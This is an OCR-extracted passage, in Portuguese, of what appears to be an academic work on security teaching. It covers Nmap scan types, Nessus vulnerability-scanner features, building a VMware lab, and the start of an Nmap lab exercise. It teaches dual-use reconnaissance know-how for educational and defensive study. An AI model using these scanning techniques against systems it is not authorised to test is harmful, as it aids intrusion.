tem privilégios para criar pacotes em estado bruto ou varrer redes IPv6. Ao invés de
criar pacotes em estado bruto como a maioria dos outros tipos de varreduras fazem,
o Nmap pede ao sistema operacional para estabelecer uma conexdo com a maquina
e porta alvos enviando uma chamada de sistema connect(). Essa € a mesma
chamada de alto nivel que os navegadores da web, clientes P2P, e a maioria das
outras aplicagOes para rede utilizam para estabelecer uma conexao.

Quando uma varredura SYN esta disponivel € normalmente a melhor escolha. O
Nmap tem menos controle sobre a chamada de alto nivel connect() do que sobre os

pacotes em estado bruto, tornando-o menos eficiente. A chamada de sistema
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completa as conexdes nas portas-alvo abertas ao invés de executar o reset de porta
entreaberta que a varredura SYN faz. Isso ndo s6 leva mais tempo e requer mais
pacotes para obter a mesma informacdo, mas também torna mais provavel que as
maquinas-alvo registrem a conexdo, permitindo que um sistema IDS (Intrusion
Detection System) detecte a varredura.

-sU (scan UDP): Pelo fato da varredura UDP ser normalmente mais lenta e mais
dificil que a TCP, alguns auditores de seguranca ignoram essas portas. ISso € um
erro, pois servicos UDP passiveis de exploragdo sdo bastante comuns e invasores
certamente ndo ignoram essa possibilidade de exploracéo.

A varredura UDP é ativada com a opgéo —sU e pode ser combinada com um tipo de
varredura TCP como a varredura SYN (-sS) para averiguar ambos protocolos na
mesma execug¢do. Ela funciona enviando um cabecalho UDP vazio (sem dados)
para cada porta alvo. Se um erro ICMP de porta inalcangéavel (tipo 3, cddigo 3) é
retornado, a porta esta fechada. Outros erros do tipo inalcancavel (tipo 3, codigos 1,
2, 9, 10, ou 13) marcam a porta como filtrada. Ocasionalmente um servi¢co ira
responder com um pacote UDP, provando que a porta estd aberta. Se nenhuma
resposta é recebida apOds as retransmissfes, a porta é classificada como
abertalfiltrada. Isso significa que a porta poderia estar aberta, ou talvez que filtros de
pacotes estejam bloqueando a comunicagdo. Varreduras de versbes (-sV) podem
ser utilizadas para ajudar a diferenciar as portas verdadeiramente abertas das que
estéo filtradas.

Um grande desafio com a varredura UDP é fazé-la rapidamente. Portas abertas e
filtradas raramente enviam alguma resposta, deixando o Nmap esgotar o tempo
(time out) e entéo efetuar retransmissdes para o caso de a sondagem ou a resposta

ter sido perdida. Portas fechadas sdo, normalmente, um problema ainda maior. Elas
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costumam enviar de volta um erro ICMP de porta inalcangavel. Mas, ao contrario dos
pacotes RST enviados pelas portas TCP fechadas em resposta a uma varredura
SYN ou connect, muitos hosts limitam a taxa de mensagens ICMP de porta
inalcancavel por padrdo. O Linux e o Solaris sdo particularmente rigorosos quanto a
iSso.

O Nmap detecta a limitagdo de taxa e diminui o ritmo de acordo para evitar inundar a
rede com pacotes inUteis que a maquina-alvo ira descartar.

-SA (scan TCP ACK): Esse tipo de varredura nunca determina se uma porta esta
aberta (ou mesmo abertalfiltrada) e é utilizada para mapear conjuntos de regras do
firewall, determinando se eles sao orientados a conexdo ou ndo e quais portas estao
filtradas.

Existem ainda outras técnicas de varredura de portas utilizando o NMAP que n&o
serdo abordadas aqui, mas que podem ser acessadas diretamente em (NMAP [D],

2012).

Especificacdo de Portas e Ordem da Varredura

E possivel definir no NMAP quais portas devem ser varridas e se a ordem é aleatdria
ou seqlencial. Para isso é possivel especificar algumas opcoes:

-p <faixa de portas> (Varreria apenas as portas especificadas): As portas
individuais a serem varridas devem ser passadas como parametro, separadas por
virgula (ex: -p 137, 139, 8080), enquanto que faixas de portas a serem varridas
devem ser separadas por hifen (ex: -p 53-137).

-F (Scan Rapido (portas limitadas)): Especifica que vocé deseja varrer apenas as

portas listadas no arquivo nmap-services que vem com o NMAP (ou o arquivo de
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protocolos para o -sO), tornando a varredura mais rapida do que varrer todas as
65535 portas de um host.

-r (Nao usa as portas de forma aleat6ria): Por padrdo o NMAP varreria as portas
em uma ordem aleatéria. Esta opcéo diz ao NMAP para varrer as portas em ordem

sequencial.

4.2 - Scanner de Vulnerabilidades: NESSUS

O Nessus é uma ferramenta bem conhecida, utilizada para realizar varreduras em
sistemas computacionais a procura de vulnerabilidades. A ferramenta permite ainda
realizar auditorias remotas e determinar se a rede foi invadida ou usada de maneira
indevida. Além de verificar a presenca de vulnerabilidades, é possivel também
verificar especificacfes de conformidade, violacdes de politicas de conteddo e
outras anomalias em um computador local (TENABLE [C], 2012, p. 6). O Nessus é
muito utilizado também por administradores de rede e profissionais da area de
seguranca a fim de detectar possiveis vulnerabilidades e falhas em uma rede, antes
gue elas sejam exploradas por pessoas mal intencionadas.

Estas séo algumas das caracteristicas da ferramenta Nessus, de acordo com o guia
de instalagdo da verséo 5.0 fornecido pelo fabricante:

Varredura inteligente: O Nessus ndo gera alarmes falsos, ou seja, 0 programa nao
pressupde que um determinado servigo estd sendo executado em uma porta fixa. O
programa verifica uma vulnerabilidade por meio de exploracdo sempre que possivel.
Nos casos em que isso ndo for confiavel ou afetar negativamente o alvo, o Nessus
conta com um banner de servidor (metodologia do Nessus para detectar
vulnerabilidades sem prejudicar o alvo) para determinar a presenca da

vulnerabilidade. Nesse caso, o relatorio gerado indicara se esse método foi utilizado.
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Arquitetura modular: A arquitetura cliente/servidor permite instalar o scanner
(servidor) e conectar-se a interface grafica do usuario (cliente) por intermédio de um
navegador.

Compativel com CVE: CVE (Common Vulnerabilities and Exposures) é um
dicionario de informacdes publicas de segurangca, com escopo internacional e
gratuito. A maioria dos plugins se conecta ao CVE para que os administradores
possam recuperar mais informagbes sobre vulnerabilidades publicadas. As
referéncias ao Bugtrag (BID), OSVDB (Open Source Vulnerability Database) e
alertas de seguranca dos fornecedores também séo incorporadas com frequéncia.
Arquitetura de plugin: Os testes de seguranca sao realizados por meio de plugins
externos. Dessa forma, € possivel adicionar facilmente novos testes de criacdo
propria ou selecionar plugins especificos existentes. A lista completa dos plugins do
Nessus esta disponivel em (TENABLE [E], 2012).

NASL: O scanner Nessus utiliza NASL (Nessus Attack Scripting Language), uma
linguagem criada especificamente para a criagéo de testes de seguranca.

Banco de dados de vulnerabilidades de seguranca atualizado: E possivel
consultar as verificagbes de seguranca mais recentes em (TENABLE [E], 2012).
Compatibilidade entre plugins: Os testes de seguranca realizados pelos plugins do
Nessus impedem que sejam realizadas verificacdes desnecessarias. Se o servidor
de FTP nao permitir logins andnimos, ndo serdo realizadas verificagbes de
seguranca relacionadas a logins anénimos.

Relatorios completos: Além de detectar as vulnerabilidades de seguranca
existentes na rede e o nivel de risco de cada uma delas (baixo, médio, alto e grave),

o Nessus oferece solu¢des de como atenua-las.
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Suporte total a SSL: O Nessus é capaz de testar os servicos oferecidos por SSL,
como HTTPS, SMTPS, IMAPS entre outros.

Testes néo destrutivos (opcional): O Nessus permite ativar uma opgao chamada
“safe checks” para que desta forma, verificagbes que possam causar danos ou
interrupcBes na rede sejam executadas através do uso de banners de servidor ao

invés de explorar a falha.

Politicas de Seguranca no Nessus

Juntamente com o Nessus virdo predefinidas algumas politicas criadas pela Tenable
Network Security, Inc. Essas politicas sé@o fornecidas como modelos para ajudar na
criacdo de politicas mais especificas ou para serem usadas sem modificagbes para
varreduras basicas dos seus recursos.

e Varredura de rede externa: Esta politica foi projetada para a verificacdo de
hosts externos e que normalmente apresentam menos servigos a rede. Os
plugins relacionados a vulnerabilidades conhecidas de aplicativos da Web (as
familias de plugins CGI Abuses e CGI Abuses: XSS) sdo ativados com a
aplicacao desta politica. Além disso, todas as 65.535 portas sdo verificadas
em cada alvo.

e Varredura de rede interna: Esta politica foi projetada levando-se em conta a
melhoria do desempenho, pois pode ser usada para verificar redes internas
de grande porte com muitos hosts, Varios servicos expostos e sistemas
incorporados, como impressoras. Os plugins “CGIl Abuse” nédo estao ativados
e um conjunto de portas padréo é examinado, mas néo todas as 65.535.

e Testes de aplicativos da Web: Esta politica de varredura é utilizada para

verificar os sistemas fazendo com que o Nessus detecte vulnerabilidades
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conhecidas e desconhecidas nos aplicativos da Web. Os recursos de
“difusdo” do Nessus sdo ativados com esta politica, o que fara com que o
Nessus detecte todos os sites descobertos e verifique as vulnerabilidades
presentes em cada um dos parametros, incluindo XSS, SQL, injecédo de
comandos e Vvarios outros.

Preparar para auditorias de PCl (Payment Card Industry) DSS (Data
Security Standard): Esta politica ativa as verificacdes de conformidade com
a norma PCI DSS integradas, compara os resultados das varreduras aos
padrées PCl e gera um relatério sobre o comportamento da conformidade. E
importante observar que uma varredura de compatibilidade bem-sucedida néo
garante a conformidade nem uma infra-estrutura segura. As organizacoes que
estejam se preparando para uma avaliacdo da PClI DSS podem usar essa
politica para preparar suas redes e seus sistemas para a conformidade com a

PCI DSS.

Opcgdes de Varredura

O Nessus permite que a varredura (scan) seja feita de diferentes formas:

Save Knowledge Base: O scanner Nessus salva as informacgbes de
varredura no banco de dados de conhecimento do servidor Nessus para uso
posterior. Isso inclui portas abertas, plugins utilizados, servigos descobertos
etc.

Safe Checks: A opgéo Safe Checks (Verificagdes Seguras) desativa todos 0s
plugins que podem afetar negativamente o host remoto.

Silent Dependencies: Se esta opcado for selecionada, a lista de

dependéncias nao serd incluida no relatério.
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e Log Scan Details to Server: Salva detalhes adicionais da varredura no log
do servidor Nessus (nessusd.messages), incluindo a ativagdo ou
encerramento do plugin ou se um plugin foi interrompido. O log resultante
pode ser usado para confirmar se determinados plugins foram usados e se 0s
hosts foram examinados.

e Stop Host Scan on Disconnect: Ao marcar esta op¢éo, o Nessus cessara a
varredura se detectar que o host parou de responder. Isso pode ocorrer se 0s
usuérios desligarem seus PCs durante uma varredura, se um host parar de
responder ou se 0 mecanismo de seguranca (por exemplo: IDS) bloqueou o
tr&fego para um servidor. Se as varreduras continuarem nesses
computadores, o trafego desnecessario sera enviado e atrasara a verificacao.

e Avoid Sequential Scans: Normalmente, o Nessus verifica uma lista de
enderegos IP em sequéncia. Se esta opgdo estiver marcada, o Nessus
verificara a lista de hosts em ordem aleatoria. Isto pode ser util para ajudar a
distribuir o tr&fego de rede direcionado a uma sub-rede especifica durante
varreduras extensas.

e Consider Unscanned Ports as Closed: Se uma porta nédo for examinada
com um scanner de porta selecionado (por exemplo: fora do intervalo
especificado), sera considerada fechada pelo Nessus.

e Designate Hosts by their DNS Name: Deve-se usar o nome do host em vez

do endereco IP na impresséo do relatorio.

H& também opc¢des de controle de como a varredura deve ser feita pelo Nessus de
acordo com a rede a ser verificada:
e Reduce Parallel Connections on Congestion: Permite que o Nessus

detecte o envio de um grande ndmero de pacotes e quando a conexdo da
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rede atingir a capacidade méxima, o Nessus reduzir4d a velocidade da
varredura ao nivel adequado para diminuir o congestionamento. Ao diminuir o
congestionamento, o Nessus tentard reutilizar o espaco disponivel na
conexdo da rede automaticamente.

e Use Kernel Congestion Detection (Linux Only): Permite que o Nessus
monitore a CPU e outros mecanismos internos em caso de congestionamento
e diminua o ritmo de maneira proporcional. O Nessus tentara usar sempre o
méaximo de recursos disponiveis. Este recurso esta disponivel apenas para 0s

scanners Nessus instalados em Linux.

Além destas opcdes disponiveis para varredura no Nessus existem ainda outras
opc¢oes disponiveis para o método de varredura a ser realizado, intervalo de portas a
serem varridas e op¢des de performance da varredura, que podem ser conferidas no

guia do usuério do Nessus (TENABLE [D], 2012).

Plugins

Um plugin é um simples programa que faz verificacbes para uma dada falha
(TENABLE [E], 2012).

Os plugins do Nessus séo escritos em uma linguagem chamada NASL (Nessus
Attack Scripting Language) e se ligam a cada porta especificada para fazerem as
verificagdes a procura de falhas.

O Nessus realiza os testes de seguranca nos alvos através do uso de plugins e
oferece plugins agrupados em familias para que o usuério possa escolher plugins
individuais especificos ou até familias inteiras para incluir na varredura. Desta forma
€ possivel criar selecdes diferentes de plugins a serem utilizados para cada

varredura, criando novas politicas de varredura.
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Novas vulnerabilidades sdo descobertas diariamente e com elas novos plugins
surgem para atender as novas necessidades de varredura. A arquitetura de plugins
permite ao usuario do Nessus de forma facil e rapida incluir ou excluir novos testes
de seguranca em sua varredura. Caso um plugin especifico ndo esteja disponivel, é

possivel baixa-lo da Internet e anexé-lo a varredura.

Relatorios

Apos realizar a varredura em uma rede, o Nessus organiza as informacdes
coletadas durante a varredura e as apresenta ao usuario em um relatorio detalhado
e organizado.

A tela “Reports” (Relatorios) funciona como um ponto central para exibir, comparar,
enviar e baixar resultados de varreduras (ver figura 25).

No relatério é possivel selecionar hosts em uma lista para ver mais informacdes
sobre o0 host, como 0 nimero de portas abertas, o protocolo e servigos utilizados em
cada porta, informacdes do sistema operacional, além de um resumo das
vulnerabilidades encontradas categorizadas pelo grau de risco.

O Nessus ira indicar ainda, para cada vulnerabilidade listada no relatério uma acéo
para corrigir o problema, alem de listar uma sinopse, uma descri¢édo técnica, o fator
de risco, a pontuagdo CVSS (Common Vulnerability Scoring System), resultados
relevantes que demonstram a concluséo, referéncias externas, data de publicagdo
da vulnerabilidade, data de publicagdo/modificagédo do plugin e disponibilidade da

exploracéo.
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5- 0 uso de virtualizag&do no ensino de seguranca

5.1 - O que é virtualizagéo

Segundo Gregg (2008, p. 47) “Virtualizacdo é o processo de emular hardware dentro
de uma maquina virtual.” O processo de emulagcéo de hardware duplica a arquitetura
fisica necesséria na maquina para o funcionamento dos programas e processos.
Uma maquina virtual contém seu préprio sistema operacional, bibliotecas e
aplicativos e € totalmente independente e isolada das demais (OLIVEIRA;
CARISSIMI; TOSCANI, 2010, p. 296).

A empresa VMWare (2012) explica o funcionamento da virtualizagdo como: “A
virtualizagdo permite executar varias maquinas virtuais em uma Unica maquina
fisica, com cada VM compartilhando os recursos desse computador fisico em varios
ambientes. Maquinas virtuais diferentes conseguem executar sistemas operacionais
diferentes e varios aplicativos no mesmo computador fisico.”

De acordo com Laureano e Maziero (2008, p. 6), diferentes processadores possuem
diferentes conjuntos de instrugdes, o que faz com que cada arquitetura necessite de
um software diferente capaz de interpretar suas instrugées. E por este motivo que
ndo é possivel executar em um processador Intel/AMD uma aplicagdo compilada
para um processador ARM. As instru¢cdes em linguagem de maquina escritas para o
processador ARM ndo serdo compreendidas pelo processador Intel/AMD.
Similarmente ndo é possivel executar em Linux uma aplicagdo escrita para
Windows, pois as chamadas de sistema s&o diferentes para os dois sistemas

operacionais.

“Uma solucgao para eliminar essa dependéncia seria mapear uma interface para

outra com a introdugdo de uma camada intermediaria de adaptacdo. Esse
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mapeamento € a base da virtualizacdo e foi introduzido por intermédio do
conceito de isomorfismo (Popek; Goldberg, 1974). O isomorfismo consiste em
transformar o estado de um sistema A em um sistema B.”(OLIVEIRA;

CARISSIMI; TOSCANI, 2010, p. 297)

z

Um computador &€ composto por duas grandes camadas, a de hardware e a de
software, que por sua vez sdo divididas em subcamadas (OLIVEIRA; CARISSIMI;
TOSCANI, 2010, p. 298).

Usando os servicos oferecidos por uma determinada interface de sistema, a camada
de virtualizagdo constréi outra interface de mesmo nivel, de acordo com as
necessidades dos componentes de sistema que fardo uso dela. A nova interface de
sistema, vista através dessa camada de virtualizacdo, é denominada maquina virtual
(LAUREANO; MAZIERO, 2008, p. 6).

A virtualizagéo foi amplamente adotada pela IBM nos anos 60 para permitir que um
Gnico mainframe pudesse comportar multiplos sistemas operacionais com seus
diferentes usuéarios. Em 1990 a virtualizacdo volta a ganhar visibilidade e em 2000
passa a ser largamente utilizada na emulagdo de servidores, permitindo o
funcionamento de vérios servidores em poucas maquinas fisicas. Desta forma
reduziram-se 0s custos com o0s equipamentos utilizados e aumentaram a
escalabilidade e flexibilidade dos servidores. A virtualizag&o ainda encontrou uso no
desenvolvimento de software, com a finalidade de testar novos software em
diferentes sistemas operacionais e plataformas de hardware. Além disso a
tecnologia de virtualizagdo encontrou uma crescente aplicagdo como componente
chave dos modelos de cloud computing e no ensino a distancia (NANCE; HAY;
DODGE; SEAZZU; BURD, 2009, p. 5).

InUmeros programas podem ser usados na virtualizagdo de sistemas, tais como

VMWare, Virtual PC, Open VZ, entre outros. Dependendo da quantidade de
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recursos de hardware disponiveis na maquina do usuério, como espaco de
armazenamento, memdria RAM, capacidade de processamento, € possivel que
diversos destes programas emulem sistemas virtuais ao mesmo tempo de forma
independente, sem que um interfira no funcionamento do outro. Sistemas virtuais de
modo geral, emulam a maior parte dos recursos de hardware necessitados pelos
sistemas operacionais para o seu funcionamento. O computador fisico que esta
hospedando uma méquina virtual dedica parte dos seus recursos de hardware ao
funcionamento do sistema virtual. O disco rigido de uma méaquina virtual nada mais é
do que um grande arquivo na maquina hospedeira. Outros recursos como
processamento e memdria RAM da maquina virtual também sdo compartilhados da

maquina hospedeira.

5.2 — A aplicacao de virtualizacdo no ensino de seguranca

De acordo com Nance, Hay, Dodge, Seazzu e Burd (2009, p. 4): A virtualizagéo nos
permite a emulacdo de uma rede inteira de computadores e dos softwares neles
instalados em uma Gnica maquina fisica. Os computadores virtuais (ou maquinas
virtuais) funcionam e se comportam exatamente como se estivessem executando em
um hardware real em uma maquina fisica. Maquinas virtuais podem ser configuradas
para se conectarem a outras redes virtuais isoladas, de modo a nos permitirem a
execucao de testes de seguranga em redes emuladas sem comprometer e afetar o
desempenho de uma rede real.

Segundo Gregg (2009, p. 48) o uso de uma maquina virtual VMware seria uma boa
escolha para laboratérios, pois permite testar com facilidade ferramentas de

seguranca, testar upgrades e estudos de exames de certificac&o.
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O uso e aplicagdo da virtualizacdo pode se estender a diversas areas e ndo se
limitar apenas a pesquisa e ensino de seguranca computacional. Maquinas e redes
virtuais podem ser utilizadas em outros campos da ciéncia da computagdo como por
exemplo na implementagdo de algoritmos de clusters sem a necessidade de
multiplos sistemas fisicos.

As configuragbes das maquinas virtuais ficam armazenadas em arquivos na
maquina hospedeira, permitindo que com facilidade estes arquivos sejam copiados a
fim de clonar a maquina virtual. Essa préatica pode ser muito util para a criacédo e
restauracdo de backups durantes testes com a maquina virtual, oferecendo mais
flexibilidade para testes que podem comprometer a maquina virtual durante o
aprendizado do aluno.

Diferentes maquinas virtuais podem se comunicar em uma maquina hospedeira
através de uma rede virtual e podem ainda se comunicar com a rede mundial de
computadores utilizando a interface de rede da maquina hospedeira. Em ambientes
de teste e educagdo, pode ser interessante desconectar as maquinas virtuais da
Internet a fim de se criar uma rede isolada para experimentag&o. Essa configuragéo
€ particularmente importante quando se usa as maquinas virtuais e suas redes
virtuais para testes perigosos, como a experimentacdo de infec¢des por virus. Assim
as maquinas virtuais apresentam a vantagem de isolamento, ndo colocando em
risco a maquina hospedeira, sua rede, nem outros usudrios da Internet (NANCE;
HAY; DODGE; SEAZZU; BURD, 2009, p. 5).

Uma outra vantagem de se usar virtualizagdo no ensino de seguranca € que no
decorrer da aula, pode ser interessante o uso de diferentes sistemas operacionais
para a realizagdo dos testes. Desta forma, a virtualizagdo do ambiente a ser utilizado

facilita ao aluno ter em uma Unica méaquina hospedeira diferentes sistemas
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operacionais em funcionamento, sem a necessidade de ficar reiniciando o
computador para realizar tais testes. Além disso, a realizacdo dos testes em
maquinas virtuais permite que a maquina hospedeira mantenha-se livre das
influéncias ocasionadas pelos testes.

Para Belapurkar; Chakrabarti; Ponnapalli e Varadarajan (2009, p. 297) a
virtualizagéo tenha talvez o seu maior papel na seguranca de desktops. Enquanto a
tecnologia de virtualizacdo est4d avancando rapidamente através da inovacdo de
hardware e software no mercado, boa parte dela est4d focada em servidores. A
medida que a tecnologia de virtualizacdo se torna amigavel para desktops, ha muito
0 que se ganhar em termos de seguranga dos desktops. Potencialmente poderiam
existir dominios separados para rodarem aplicagdes seguras e nao seguras,
evitando véarios problemas de seguranca e privacidade nos hosts. Entretanto,
algumas politicas de seguranca (firewalls, niveis de isolamento e acesso de
dispositivos) podem ser centralizadas e reforcadas a nivel da méaquina fisica,
deixando a maquina virtual do host completamente no controle do usuério, sem
nenhuma implicagdo de seguranca.

Para Vacca (2009, p. 699) um dos beneficios da virtualizagdo € a seguranca
proporcionada pelo isolamento da maquina virtual. Por outro lado, alguns codigos
maliciosos passaram a adquirir a habilidade de detectar se estédo sendo executados
dentro de um ambiente virtual ou ndo. Pesquisas mostraram que codigos maliciosos
podem escapar do ambiente virtual e atacar a maquina hospedeira ou ao menos
roubar informacdes dela. Em resposta a tais fatos, os desenvolvedores da area de
seguranca estao adaptando novas caracteristicas e funcionalidades na virtualizagéo

de sistemas para corrigir as vulnerabilidades e detectar tais ataques.
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Apesar da possibilidade de ataques & maquina hospedeira pela utlizacdo de
maquinas virtuais, ambientes virtualizados sdo considerados seguros e Sao
recomendados por diversos autores como ferramenta para o ensino de seguranga e

outras atividades.

5.3 — Trabalhos relacionados com o uso de virtualizagdo no ensino de

seguranca

O material de ensino em seguranca de aplicacdes web € muito limitado e existe a
necessidade de desenvolvimento de novos materiais para o ensino, que abordem os
problemas de seguranga emergentes no desenvolvimento de aplicagbes web
(CHEN; TAO, 2011, p. 491).

Atualmente diversos trabalhos relacionados com o ensino de seguranga utilizando
ambientes virtuais estdo sendo desenvolvidos.

Chen e Tao (2011, p. 491) desenvolveram uma nova ferramenta de ensino de
seguranca para aplicagcbes web, chamada SWEET (Secure WEb dEvelopment
Teaching). O propésito deste projeto é reforcar a experiéncia de aprendizado dos
estudantes em computagéo, através de um ambiente padronizado e modular na
seguranca de desenvolvimento web.

Técnicas tradicionais de ensino (ex: leituras ou literatura) tornaram-se inapropriadas
para o treinamento em cyber-seguranga, porque o estudante ndo pode aplicar os
principios da abordagem académica em um ambiente realistico na sala de aula. No
treinamento de seguranca, ganhar experiéncia prética através de exercicios é
indispensavel para consolidar o conhecimento. A aloca¢cdo de um ambiente para a
pratica destes exercicios impde um desafio para a pesquisa e desenvolvimento, pois

os estudantes precisam de acesso privilegiado ao sistema para a realizagdo da



73

maior parte dos exercicios de seguranca. Com estes privilégios, os estudantes
poderiam facilmente destruir os sistemas de treinamento, ou mesmo utiliza-los para
fins inapropriados, como ataques ilegais a outros hosts, utilizando a rede do campus
universitario ou a Internet (WILLEMS; KLINGBEIL; RADVILAVICIUS; CENYS;
MEINEL, 2011, p. 408).

Levando em consideragdo a visivel importancia de ambientes virtuais para a
consolidagdo da pratica do treinamento em seguranca, Willems, Klingbeil,
Radvilavicius, Cenys e Meinel (2011, p. 408) desenvolveram o projeto Tele-Lab. O
projeto Tele-Lab oferece um sistema para treinamento em seguranga em um
ambiente de laboratdrio virtual remoto, online e acessivel por qualquer um. A
plataforma Tele-Lab oferece um ambiente de aprendizado individual para cada

estudante, que consiste em até 3 maquinas virtuais por ambiente de aprendizado.

5.4 — A emulacéo do ataque

De acordo com Harris, Harper, Eagle, Ness e Lester (2005, p. 73) o ato de varrer,
sondar e explorar redes a procura de vulnerabilidades que podem comprometer a
rede ou os seus hosts é chamado de teste de penetragdo. O primeiro objetivo de um
teste de penetracdo € se apropriar da rede, o segundo objetivo é se apropriar da
rede de quantas formas diferentes vocé conseguir, para que entdo seja possivel
descobrir cada falha encontrada ao consumidor ou usuarios da rede. O teste de
penetracdo em uma rede é uma excelente forma de testar a eficacia das medidas de
seguranca de uma organizacéo e de expor as falhas de seguranca da rede.

Uma vez que administradores de redes, engenheiros e profissionais de seguranca
entendam como os atacantes agem, entéo, eles podem emular suas atividades para

simular um teste de penetragcdo Util. A emulacdo de um ataque é a Unica forma



74

confiavel de testar um nivel de seguranca de um ambiente e como este ambiente ir4
reagir quando estiver sendo atacado por um ataque real (HARRIS, HARPER,

EAGLE, NESS, LESTER, 2005, p. 15).

5.5 - A construcdo do ambiente virtual

Para que os testes realizados em nossos ambientes virtuais tenham uma maior
abrangéncia dos diferentes tipos de problemas encontrados e em diferentes tipos de
sistemas operacionais, utilizaremos maquinas virtuais com o sistema operacional
Linux (Ubuntu) e também méquinas virtuais com o sistema operacional Windows XP.
Para criar um ambiente controlado é importante comecar a sua criagédo do zero, pois
ambientes prontos podem conter configuracdes indesejadas e ou até problemas pré
existentes ndo resolvidos que podem influenciar e atrapalhar os testes a serem
realizados.

Gregg (2008, p. 16) ressalta: “Problemas antigos serdo herdados devido aos erros
ou equivocos de usuarios anteriores. E mesmo que vocé instale e configure
corretamente as ferramentas a partir de uma instalacdo existente, vocé nunca
poderd ter plena certeza de como exatamente tudo foi configurado.”

No nosso caso, a instalagdo dos sistemas operacionais nas maquinas virtuais foram
realizadas do zero para garantir a ndo existéncia de alguma configuracao realizada
anteriormente.

A escolha do sistema operacional Windows XP para uma das maquinas virtuais
justifica-se por ser um dos sistemas Windows mais utilizados durante um maior
periodo de tempo por grande parte da populagdo. Segundo dados coletados da
Wikipedia por Gregg (2008, p. 32) a Microsoft vendeu mais de 1 milhdo de cépias do

Windows XP em 2006. Além disso, o sistema Windows XP é mais leve e requer
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Menos recursos computacionais do que seus sucessores para executar. Como
vamos instalar os sistemas operacionais em maquinas virtuais com o intuito de
realizar testes especificos, que ndo requerem grande poder de processamento
computacional e de porta-las depois, devemos nos preocupar com o desperdicio de
recursos, como 0 espago requerido para a instalagdo do sistema e a quantidade
minima requerida de memoria para a operagao, por exemplo.

Ja4 para a escolha da distribuicdo Ubuntu como sistema operacional Linux,
destacamos a crescente utilizacdo e popularidade desta distribuicdo além da
velocidade com que a comunidade Ubuntu avanga em seu desenvolvimento.

Para o sistema Windows XP nenhum mecanismo de defesa tais como antivirus ou
firewalls adicionais serdo instalados, pois podem interferir no resultado dos testes a
serem realizados, identificando uma ameaga a qual estamos simulando
propositalmente para nossos estudos. Apenas o firewall incluso no Windows XP sera
utilizado como parte dos testes.

A maquina virtual CentOS5.2small (CTF6 — Capture The Flag 6) ndo € parte do
desenvolvimento deste trabalho, mas sera utilizada para auxiliar nos testes
realizados pelas outras maquinas.

Para o processo de virtualizagdo, iremos utilizar o software VMware em sua versao
4.0.2 build-591240. E na construgdo das maquinas virtuais iremos utilizar as
configuracdes padrdes sugeridas pelo VMware, exceto pela configuragdo de
memoria RAM, a qual iremos configura-la para 512MB em todas as maquinas, pois é
um fator limitante para o nUmero de maquinas virtuais que conseguimos executar

simultaneamente.
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Figura 8 - Cenario de maquinas virtuais

Para a simulacdo de uma rede de computadores para efetuar os testes, iremos
utilizar algumas instancias das méaquinas virtuais Windows XP e Ubuntu criadas e
apenas 1 instancia da maquina virtual CentOS5.2small (que é a instancia da
maquina virtual CTF6). A figura 8 mostra apenas 1 instancia de cada maquina, mas
vocé pode fazer cépias das maquinas virtuais Windows XP e Ubuntu para utilizar
mais de 1 instancia. As maquinas virtuais estao configuradas para utilizarem pouca
memoria (512 MB de memdéria RAM), com a finalidade de podermos executar um
maior nimero de maquinas virtuais ao mesmo tempo. O numero de maquinas

virtuais que vocé podera executar simultaneamente ira depender dos recursos

computacionais de sua maquina hospedeira.
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As configuragbes de cada instancia de maquina virtual copiada seréo as mesmas
das maquinas utilizadas como base, mas a medida que estas forem sofrendo
alteragbes, cada copia da maquina virtual irh manter suas novas configuragdes.

Basicamente iremos criar uma rede virtual formada por maquinas virtuais em nosso
host hospedeiro. O VMware ir4 automaticamente alocar as maquinas Vvirtuais
inicializadas em uma faixa de IPs, de modo que todas as maquinas virtuais possam

ser encontradas na rede.

6 — Roteiros laboratoriais

Neste capitulo iremos realizar alguns roteiros laboratoriais com o intuito de realizar
alguns testes e experimentos relacionados com 0s assuntos vistos nos capitulos 3 e
4 destes trabalho. Para a realizacdo dos roteiros € necesséria a leitura prévia da

secao diretamente relacionada com o assunto do roteiro, pois muitos dos conceitos

utilizados neste capitulo estéo explicados nos capitulos 3 e 4.

6.1 — Scanner de Rede Utilizando o NMAP

Objetivos
e Descobrir os hosts ativos da rede
e Varrer os hosts descobertos a procura de portas abertas

e Realizar as a¢0es anteriores de diferentes formas em diferentes contextos

Pré-Requisitos
e Leitura da secédo 4.1 Scanner de Rede: NMAP
¢ Execucao simultanea de pelo menos 1 maquina virtual Windows e 1 maquina

virtual Ubuntu para a realizagdo dos testes.
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Neste roteiro iremos focar nas principais fungdes do NMAP que é a varredura de
portas. Apesar de o NMAP também servir para outras funcionalidades como a
deteccdo de versOes e tipos de sistemas operacionais, ndo iremos abordar estas
praticas neste roteiro, pois existem outras ferramentas que também desempenham
essas fungdes como o Nessus (scan de vulnerabilidades) no qual iremos tratar deste
assunto na sec¢éo 6.2 entitulada Scanner de Vulnerabilidades Utilizando o NESSUS.
No ambiente virtual o qual iremos testar o NMAP, a ferramenta j& encontra-se
instalada em sua versao 5.21. Entretanto para instala-lo no Ubuntu, basta utilizarmos
o terminal e instalarmos o pacote do nmap:

sudo apt-get install nmap

Se preferir, vocé ainda pode instalar uma interface grafica para utilizar o NMAP
chamada ZenMap, através do comando:

sudo apt-get install zenmap

Para instalar o Nmap no Windows, basta baixar o executavel em (NMAP [B], 2012) e
seguir os passos de instalacdo padrbes, deixando marcado para a instalacdo todos

0S componentes que acompanham o instalador, como mostra a figura 9:

% Nmap Setup - |E|@|
Choose Components =
Choose which Features of Nmap wou wank ko install, { » 4

Check the components wou want ko install and uncheck the components wou don't wank o
inskall. Click Mext ko continue.

Drescripkion

Select components to install: .1,—,.5":. :.;.r-.g, iI:: |
Feqgister Mmap Path
winPcap 4.1.2
Metwork Performance Img|
Zenmap (GUI Frontend)
Mcak (Modern Metcat reinn
MNAifF {Scan comparison ko)

| Mping (Packet generator) |

< | @)

Space required: 55.5MB

[ = Back ” Mexk = ] [ Cancel ]

Figura 9 - Componentes de instalacdo do NMAP
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Para este roteiro, iremos utilizar maquinas virtuais com ambos o0s sistemas
operacionais na rede (Ubuntu e Windows XP) e para realizar as varreduras iremos
utilizar a interface grafica Zenmap, a qual € muito similar tanto no Linux quanto no
Windows e para alguns casos o terminal de comandos do Ubuntu.

Ambos ambientes virtuais (Ubuntu e Windows XP) encontram-se propositalmente
com algumas portas abertas, para que possamos varré-las e detecta-las em nossos

testes.

Tarefa 1: A descoberta de hosts

Antes de iniciarmos a nossa varredura, é preciso definir o nosso alvo. Como vimos

na secdo 4.1 do Nmap, é possivel varrer um host individualmente ou uma rede

inteira.

Situagdo 1: Suponha que vocé conhegca o endereco IP do alvo que deseja

